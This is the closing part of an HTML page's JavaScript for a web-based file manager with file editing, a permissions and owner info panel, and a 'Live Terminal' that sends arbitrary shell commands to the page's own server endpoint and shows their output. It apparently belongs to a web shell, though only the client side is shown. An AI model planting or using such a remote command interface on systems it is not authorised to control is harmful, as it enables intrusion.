document.getElementById('editorStatus').style.color = '#f00'; showToast('Save failed: ' + err, true); }); } function downloadEditorContent() { const path = document.getElementById('editorPath').value; const content = document.getElementById('editorContent').value; const name = path ? path.split('/').pop() : 'file.txt'; const blob = new Blob([content], { type: 'text/plain' }); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = name; a.click(); URL.revokeObjectURL(url); } function showInfoPanel(path) { const formData = new FormData(); formData.append('action', 'getinfo'); formData.append('path', path); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { const info = data.info; let html = ''; html += '<div class="info-row"><span class="label">Name</span><span>' + escapeHtml(info.name) + '</span></div>'; html += '<div class="info-row"><span class="label">Type</span><span>' + escapeHtml(info.type) + '</span></div>'; html += '<div class="info-row"><span class="label">Size</span><span>' + formatBytes(info.size) + '</span></div>'; html += '<div class="info-row"><span class="label">Permissions</span><span>' + info.permissions + '</span></div>'; html += '<div class="info-row"><span class="label">Owner</span><span>' + escapeHtml(String(info.owner)) + '</span></div>'; html += '<div class="info-row"><span class="label">Group</span><span>' + escapeHtml(String(info.group)) + '</span></div>'; html += '<div class="info-row"><span class="label">Modified</span><span>' + info.modified + '</span></div>'; html += '<div class="info-row"><span class="label">Readable</span><span>' + (info.readable ? 'Yes' : 'No') + '</span></div>'; html += '<div class="info-row"><span class="label">Writable</span><span>' + (info.writable ? 'Yes' : 'No') + '</span></div>'; html += '<div class="info-row" style="flex-direction:column;gap:5px"><span class="label">Path</span><span style="word-break:break-all;font-size:0.75rem">' + escapeHtml(info.path) + '</span></div>'; document.getElementById('infoContent').innerHTML = html; document.getElementById('infoPanel').classList.add('active'); } else { showToast('Failed to get info: ' + (data.error || 'Unknown error'), true); } }) .catch(err => showToast('Failed: ' + err, true)); } function closeInfoPanel() { document.getElementById('infoPanel').classList.remove('active'); } function formatBytes(bytes) { if (bytes === 0 || bytes === null) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } let terminalCwd = currentDir; let executionMethod = null; let ttyMethod = null; let ttyEnabled = false; function toggleTtyMode() { ttyEnabled = document.getElementById('ttyMode').checked; const label = document.getElementById('ttyLabel'); if (ttyEnabled) { label.textContent = 'TTY Mode (ON)'; label.style.color = '#27ae60'; } else { label.textContent = 'TTY Mode'; label.style.color = ''; } } function executeCommand() { const input = document.getElementById('terminalInput'); const command = input.value.trim(); if (!command) return; if (command.startsWith('cd ')) { const newDir = command.substring(3).trim(); handleCdCommand(newDir); input.value = ''; return; } if (command === 'cd') { handleCdCommand('~'); input.value = ''; return; } if (command === 'clear' || command === 'cls') { clearTerminal(); input.value = ''; return; } commandHistory.push(command); historyIndex = commandHistory.length; const output = document.getElementById('terminalOutput'); output.innerHTML += '<div class="command"><span class="prompt">' + escapeHtml(terminalCwd) + ' $</span> ' + escapeHtml(command) + '</div>'; output.scrollTop = output.scrollHeight; const formData = new FormData(); formData.append('action', 'terminal'); formData.append('command', command); formData.append('workDir', terminalCwd); formData.append('tty', ttyEnabled ? '1' : '0'); formData.append('timeout', document.getElementById('timeoutSelect').value); const loadingId = 'loading-' + Date.now(); output.innerHTML += '<div id="' + loadingId + '" class="info">Running...</div>'; output.scrollTop = output.scrollHeight; fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { const loadingEl = document.getElementById(loadingId); if (loadingEl) loadingEl.remove(); if (data.success) { const text = data.output || ''; if (text.trim()) { output.innerHTML += '<div class="output">' + escapeHtml(text) + '</div>'; } if (data.method && !executionMethod) { executionMethod = data.method; } if (data.tty) { ttyMethod = data.tty; } updateTerminalHeader(); } else { output.innerHTML += '<div class="error">Error: ' + escapeHtml(data.error || 'Command failed') + '</div>'; } output.scrollTop = output.scrollHeight; }) .catch(err => { const loadingEl = document.getElementById(loadingId); if (loadingEl) loadingEl.remove(); output.innerHTML += '<div class="error">Error: ' + escapeHtml(String(err)) + '</div>'; output.scrollTop = output.scrollHeight; }); input.value = ''; } function handleCdCommand(path) { const output = document.getElementById('terminalOutput'); output.innerHTML += '<div class="command"><span class="prompt">' + escapeHtml(terminalCwd) + ' $</span> cd ' + escapeHtml(path) + '</div>'; const formData = new FormData(); formData.append('action', 'terminal'); formData.append('command', 'cd ' + path + ' && pwd'); formData.append('workDir', terminalCwd); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success && data.output) { const newPath = data.output.trim(); if (newPath && newPath.startsWith('/')) { terminalCwd = newPath; output.innerHTML += '<div class="info">Changed to: ' + escapeHtml(terminalCwd) + '</div>'; updateTerminalPrompt(); } } else { output.innerHTML += '<div class="error">cd: ' + escapeHtml(path) + ': No such directory or permission denied</div>'; } output.scrollTop = output.scrollHeight; }) .catch(err => { output.innerHTML += '<div class="error">cd failed: ' + escapeHtml(String(err)) + '</div>'; output.scrollTop = output.scrollHeight; }); } function updateTerminalHeader() { const header = document.querySelector('.terminal-header h3'); if (header) { let info = []; if (executionMethod) info.push(executionMethod); if (ttyMethod) info.push('tty:' + ttyMethod); if (info.length > 0) { header.innerHTML = '💻 Live Terminal <span style="font-size:0.7rem;color:#888;margin-left:10px;">(' + info.join(' | ') + ')</span>'; } } } function updateTerminalPrompt() { document.getElementById('terminalInput').placeholder = terminalCwd + ' $ Enter command...'; } function handleTerminalKey(e) { if (e.key === 'Enter') { executeCommand(); } else if (e.key === 'ArrowUp') { e.preventDefault(); if (historyIndex > 0) { historyIndex--; document.getElementById('terminalInput').value = commandHistory[historyIndex]; } } else if (e.key === 'ArrowDown') { e.preventDefault(); if (historyIndex < commandHistory.length - 1) { historyIndex++; document.getElementById('terminalInput').value = commandHistory[historyIndex]; } else { historyIndex = commandHistory.length; document.getElementById('terminalInput').value = ''; } } } function clearTerminal() { document.getElementById('terminalOutput').innerHTML = '<div class="info">Terminal cleared.</div><div class="output">Working directory: ' + escapeHtml(terminalCwd) + '</div>'; if (executionMethod) { document.getElementById('terminalOutput').innerHTML += '<div class="info">Execution method: ' + executionMethod + '</div>'; } } function escapeHtml(text) { if (text === null || text === undefined) return ''; const div = document.createElement('div'); div.textContent = String(text); return div.innerHTML; } function refreshPage() { location.reload(); } document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { closeModal('renameModal'); closeModal('newFolderModal'); closeInfoPanel(); document.getElementById('contextMenu').classList.remove('active'); } if (e.key === 'Enter') { if (document.getElementById('renameModal').classList.contains('active')) { doRename(); } else if (document.getElementById('newFolderModal').classList.contains('active')) { doNewFolder(); } else if (document.getElementById('newFileModal').classList.contains('active')) { doNewFile(); } else if (document.getElementById('chmodModal').classList.contains('active')) { doChmod(); } } }); </script> </body> </html>
Close